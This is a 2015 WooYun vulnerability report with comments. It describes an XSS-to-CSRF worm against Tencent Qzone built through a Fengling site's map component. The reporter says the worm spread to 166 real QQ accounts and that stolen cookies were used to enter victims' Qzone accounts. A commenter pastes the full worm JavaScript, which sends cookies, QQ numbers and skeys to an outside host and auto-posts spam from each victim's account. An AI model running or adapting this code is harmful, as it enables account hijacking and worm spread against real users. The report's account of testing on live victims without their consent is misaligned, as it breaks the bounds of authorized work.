漏洞概要
关注数(24)
关注此漏洞
漏洞标题:从一个小xss到csrf到腾讯空间被刷爆了(一个业务蠕虫的诞生过程/测试已停)
相关厂商:腾讯
提交时间:2015-06-24 17:40
修复时间:2015-08-08 18:52
公开时间:2015-08-08 18:52
漏洞类型:CSRF
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情
披露状态:
2015-06-24: 细节已通知厂商并且等待厂商处理中
2015-06-24: 厂商已经确认,细节仅向厂商公开
2015-07-04: 细节向核心白帽子及相关领域专家公开
2015-07-14: 细节向普通白帽子公开
2015-07-24: 细节向实习白帽子公开
2015-08-08: 细节向公众公开
简要描述:
昨晚三点才睡的
详细说明:
长话短说:
1. 登录腾讯风铃 -》 创建一个移动模版(免费空白模版)的站点
2.菜单栏-》添加元素-》组件-》地图定位
地址写cssxn便于源码中定位
3. 保存-》预览-》发布
4.点击预览-》里面可以得到正式页面地址:http://2000235102.flzhan.com/index.html
5.在正式页面中得到腾讯地图接口地址:
6.接口data值是base64加密-》解密后可以看到cssxn
7.可以看到GPS接口是获取地址栏的参数来定义地址的,所以我们闭合json,执行xss
8. 闭合json 弹下cookie -》 重新加密json成base64
9.弹出了cookie -> 但是我发现另一个js中有这么一段js
10. 其中$.getQQ() _getSkey() 这两个函数用来获取用户QQ和skey 拿到skey可以直接杀进空间
11.$.getCSRFToken() token算法 哈哈 csrf一个?
12. 首先加载我的http://1.lxss.sinaapp.com/m.js ->js代码解释 自行补脑
13.来看看收获到现在为止 蠕了166个QQ
14. 用名小子伪造cookie 秒进空间
16.空间和邮箱都被刷爆了
漏洞证明:
修复方案:
版权声明:转载请注明来源 别在说@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:5
确认时间:2015-06-24 18:51
厂商回复:
非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。
最新状态:
暂无
漏洞评价:
评论
-
2015-06-24 19:50 |
Sunshie ( 实习白帽子 | Rank:58 漏洞数:10 | http://phpinfo.me)
-
2015-06-24 21:45 |
Mieless ( 路人 | Rank:11 漏洞数:1 | 我是来打酱油的。)
-
2015-06-24 21:45 |
GreenVine ( 路人 | Rank:30 漏洞数:3 | Blooming like a flower!)
http://[打码]sinaapp.com/m.php CSRF倒无所谓你把别人的状态信息记下来几个意思
-
2015-06-24 22:08 |
Neeke ( 普通白帽子 | Rank:101 漏洞数:24 | 求传授刷Rank方法?)
-
2015-06-24 22:23 |
hope ( 路人 | Rank:1 漏洞数:2 | 一个小菜)
-
2015-06-24 22:24 |
GreenVine ( 路人 | Rank:30 漏洞数:3 | Blooming like a flower!)
-
2015-06-24 22:38 |
scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)
-
2015-06-24 23:08 |
zzzzy ( 路人 | Rank:10 漏洞数:3 | 熟练各种语言名称的拼写)
你在空间说的真好听"你们的qq很安全"$('body').append('<div style="display:none"><img src="http://lxss.sinaapp.com/m.php?c='+escape(document.cookie)+'&u='+$.getQQ()+'&s='+Skey()+'" width=0 height=0 border=0 /></div>');这段代码啥意思 你解释一下 我咋一点都看不懂
-
2015-06-24 23:14 |
GreenVine ( 路人 | Rank:30 漏洞数:3 | Blooming like a flower!)
@zzzzy 人家都说了:f**k you! (http://lxss.sinaapp.com/m.php)
-
2015-06-24 23:20 |
Angelic47 ( 路人 | Rank:1 漏洞数:1 )
var Skey = function(LLogin){ if(LLogin){ var skey = $.trim($.cookie('skey') || $.cookie('lskey')); }else{ var skey = $.trim($.cookie('skey')); } if(!skey) return null; return skey; };var u = "http://user.qzone.qq.com/q/taotao/cgi-bin/emotion_cgi_publish_v6?g_tk="+$.getCSRFToken();var d = {"con":"xxxxxxx! http://url.cn/eidT6l by:Luna qq:82919847","hostuin":$.getQQ()}function openBlank(action,data){ var form = $("<form/>").attr('action',action).attr('method','post').attr('target','_self'); var input = ''; $.each(data, function(i,n){ input += '<input type="hidden" name="'+ i +'" value="'+ n +'" />'; }); form.append(input).appendTo("body").css('display','none').submit();}$('body').append('<iframe src="http://user.qzone.qq.com/'+$.getQQ()+'" onload="openBlank(u,d)" >');$('body').append('<div style="display:none"><img src="http://lxss.sinaapp.com/m.php?c='+escape(document.cookie)+'&u='+$.getQQ()+'&s='+Skey()+'" width=0 height=0 border=0 /></div>');JS我贴了,大家自己拿去看。m.php是个什么情况?大家都懂。还有,留下QQ也真是醉了
-
2015-06-24 23:39 |
zzzzy ( 路人 | Rank:10 漏洞数:3 | 熟练各种语言名称的拼写)
@GreenVine 就像你说的,他单纯恶作剧根本没什么,接收clientkey就让人不爽了,这玩意几乎通杀qq业务啊
-
2015-06-24 23:45 |
px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)
乌云貌似对腾讯的漏洞做了特殊化处理啊,每个漏洞不管确认不确认,都要在最上面展示几天,哈哈。。。
-
2015-06-24 23:47 |
GreenVine ( 路人 | Rank:30 漏洞数:3 | Blooming like a flower!)
@zzzzy 那个m.js现在还能访问,所以我理解不了什么叫“测试已停止”
-
2015-06-25 09:17 |
牛 小 帅 ( 普通白帽子 | Rank:363 漏洞数:84 | [code]心若没有栖息的地方,走到哪里都是在...)
-
2015-06-25 09:43 |
scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)
-
2015-06-26 10:17 |
zzzzy ( 路人 | Rank:10 漏洞数:3 | 熟练各种语言名称的拼写)
@GreenVine “测试停止”说的是这个xss点被修了,所以你再点击那个连接的时候,不会加载外部js了
-
2015-08-08 21:01 |
小博博 ( 实习白帽子 | Rank:60 漏洞数:9 | .)
-
2015-08-09 11:12 |
3ang ( 路人 | Rank:2 漏洞数:1 | 风往北吹,你走的好干脆!)
-
2015-08-18 23:14 |
小杨 ( 路人 | Rank:22 漏洞数:4 | 。)